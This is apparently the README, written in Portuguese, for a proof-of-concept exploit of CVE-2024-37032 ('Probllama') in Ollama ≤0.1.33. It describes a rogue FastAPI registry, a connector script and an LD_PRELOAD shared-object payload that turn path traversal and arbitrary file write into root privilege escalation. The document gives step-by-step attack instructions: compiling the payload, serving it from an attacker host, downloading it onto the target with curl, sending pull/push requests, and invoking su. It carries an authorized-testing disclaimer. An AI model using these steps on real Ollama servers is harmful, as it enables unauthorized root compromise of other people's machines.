
CVE-2024-37032 (Probllama) PoC para Ollama ≤0.1.33: path traversal e escrita arbitrária de arquivos por meio do tratamento do digest do modelo, levando à escalada automatizada de privilégios.
Este repositório contém um servidor de registro (registry) FastAPI de prova de conceito, script conector e biblioteca de demonstração de preload para testes de laboratório autorizados.
Use isto apenas em sistemas que você possui ou para os quais tem permissão explícita de testar.
server.py: inicia o servidor PoC FastAPI.rogue_server/config.py: configuração central do servidor PoC.connector.py: envia as requisições pull/push para a API Ollama alvo.preload_privs_demo.c: código-fonte C para o payload de objeto compartilhado (shared object).requirements.txt: dependências Python para o servidor PoC.Na sua máquina host, instale as dependências Python:
python -m pip install -r requirements.txt
Edite o arquivo rogue_server/config.py na sua máquina host:
HOST = "<your_host_ip_or_host_ip>"
Edite o arquivo connector.py:
SERVER_HOST = "<your_host_ip_or_host_ip:8000>"
TARGET_HOST = "127.0.0.1"
TARGET_PORT = 11434
Observações:
SERVER_HOST deve apontar para o host que executa o server.py.8000, inclua a porta em HOST e SERVER_HOST, por exemplo 10.10.16.160:8000.TARGET_HOST e TARGET_PORT devem apontar para a API Ollama alvo. Se o connector.py for executado diretamente na máquina alvo, 127.0.0.1:11434 geralmente está correto.rogue_server/config.py, reinicie o servidor PoC.Compile o arquivo C e nomeie a saída como libpreload_privs_demo.so:
gcc -shared -fPIC -o libpreload_privs_demo.so preload_privs_demo.c
Copie estes arquivos para a máquina alvo autorizada:
libpreload_privs_demo.soconnector.pyUma forma simples é servi-los a partir da sua máquina host:
python3 -m http.server 8081
Em seguida, faça o download deles na máquina alvo:
curl -O http://<your_host_ip>:8081/libpreload_privs_demo.so
curl -O http://<your_host_ip>:8081/connector.py
Após baixar o objeto compartilhado, copie o caminho absoluto dele na máquina alvo e defina esse mesmo caminho como exploit_path no arquivo rogue_server/config.py na máquina host.
Exemplo:
exploit_path = "/tmp/libpreload_privs_demo.so"
Inicie o servidor FastAPI na sua máquina host:
python server.py
Por padrão, este projeto inicia o Uvicorn em 0.0.0.0:8000.
Na máquina alvo autorizada, execute:
python3 connector.py
O conector envia as requisições pull e push para a API Ollama configurada.
Após o conector terminar, execute:
su
Em um alvo de laboratório vulnerável e corretamente configurado, o caminho de preload deve ser utilizado e a transição de privilégios pode ser observada.
SERVER_HOST em connector.py corresponde a HOST em rogue_server/config.py.exploit_path é exatamente o caminho absoluto onde libpreload_privs_demo.so existe na máquina alvo.TARGET_HOST:TARGET_PORT.server.py após alterar o rogue_server/config.py.